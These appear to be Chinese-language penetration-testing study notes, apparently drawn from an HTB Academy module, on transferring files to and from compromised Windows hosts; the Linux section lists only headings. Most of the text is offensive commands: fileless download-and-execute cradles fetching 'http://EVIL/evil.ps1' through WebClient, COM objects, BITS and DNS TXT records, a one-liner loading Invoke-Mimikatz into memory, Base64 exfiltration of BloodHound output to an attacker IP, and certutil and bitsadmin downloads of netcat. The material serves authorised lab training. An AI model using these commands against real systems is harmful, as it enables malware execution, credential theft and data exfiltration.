在需要将文件传输到目标系统或从目标系统传输时,存在许多情况。我们可以成功利用 Web 应用程序漏洞,在目标 Web 服务器上实现 RCE,甚至上传 Web 外壳。我们可以通过多种方式升级对交互式外壳的访问,有些方法需要成功将脚本、二进制文件或工具传输到目标。在内网渗透中,我们可能会发现自己处于 Windows 主机上,需要转移工具以执行活动目录环境的列举、尝试权限升级或需要下载命令输出以进行离线处理。
文件传输是任何操作系统的核心功能,并且有丰富的工具来实现此目的。但是,许多此类工具可能由管理员阻止或监视,值得审查在给定环境中可能采用的一系列技术。
此模块涵盖利用 Windows 和 Linux 系统中常用的工具和应用程序的技术。技术列表并非详尽无遗。在浏览其他 HTB 学院模块时,本模块内的信息也可以用作参考指南,因为许多模块内练习将要求我们将文件传输到目标主机或从提供的 Pwnbox 中传输文件。目标 Windows 和 Linux 机器作为模块的一部分提供,以完成一些动手练习。尽管如此,还是值得利用这些目标来尝试模块部分演示的尽可能多的技术。观察不同传输方法之间的细微差别,并记下它们有用的情况。

windows

powershell

PowerShell file Downloads

在大多数环境下 http/https 流量是被防火墙允许通过的,比如我们的浏览器会使用http/https协议来传送文件,在powershell 中有很多文件传送指令 ,大多数版本的powershell 里 System.Net.WebClient 对象可以用来下载文件(http /https协议)

  1. PS C:\htb> (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',"C:\Users\Public\Downloads\PowerView.ps1")

powershell 3.0 以上,可以用Invoke-WebRequest ,但是下载很慢 ,建议使用 iwrcurl,和weget 代替

  1. PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

IEX 可以接收管道的输入

  1. PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 | iex

首次使用可能会出现浏览器未被设置为默认浏览器的弹窗阻断下载
文件传送 - 图1

文件传送 - 图2

可以使用参数 -UseBasicParsing 来绕过

  1. PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | iex
  2. Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
  3. At line:1 char:1
  4. + Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
  5. + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  6. + CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
  7. + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
  1. PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | iex
  2. PS C:\htb> Invoke-CheckLocalAdminAccess
  3. ComputerName IsAdmin
  4. ------------ -------
  5. localhost False

或者可以用管理员权限关闭浏览器 首次设定弹窗。

  1. C:\htb> reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2

除了以上 下载方法,还有其他绕过浏览器弹窗,代理,不接触磁盘,文件不落地的下载方法

  1. # normal download cradle
  2. IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
  3. # PowerShell 3.0+
  4. IEX (iwr 'http://EVIL/evil.ps1')
  5. # hidden IE com object
  6. $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
  7. # Msxml2.XMLHTTP COM object
  8. $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
  9. # WinHttp COM object (not proxy aware!)
  10. $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
  11. # using bitstransfer- touches disk!
  12. Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
  13. # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
  14. # code to execute needs to be a base64 encoded string stored in a TXT record
  15. IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
  16. # from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
  17. <#
  18. <?xml version="1.0"?>
  19. <command>
  20. <a>
  21. <execute>Get-Process</execute>
  22. </a>
  23. </command>
  24. #>
  25. $a = New-Object System.Xml.XmlDocument
  26. $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
  27. $a.command.a.execute | iex

PowerShell file upload

也可以使用powershell 的 Invoke-WebRequest Invoke-RestMethod

  1. PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'c:/users/public/downloads/BloodHound.zip' -Encoding Byte))
  2. PS C:\htb> Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64

用ncat 捕获数据后,解码

Bitsadmin

后台智能传输服务(BITS)可以从HTTP站点和SMB共享下载文件。它“智能地”检查主机和网络利用率,以尽量减少对用户前台工作的影响。

  1. PS C:\htb> bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

PowerShell还支持与BITS的交互,支持文件下载和上载,支持凭据,并且可以使用指定的代理服务器。

Download

  1. PS C:\htb> Import-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"

Upload

  1. PS C:\htb> Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql

Certutil

certutil可以用来下载任意文件。它可以在所有的Windows版本中使用,并且是一种非常流行的文件传输技术,基本上可以作为Wget for Windows。但是,反恶意软件扫描接口(AMSI)认为是恶意certutil使用。

Upload

  1. :\htb> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

Linux

Wget / cURL

OpenSSL

Bash (/dev/tcp)

php

python

ruby

perl

go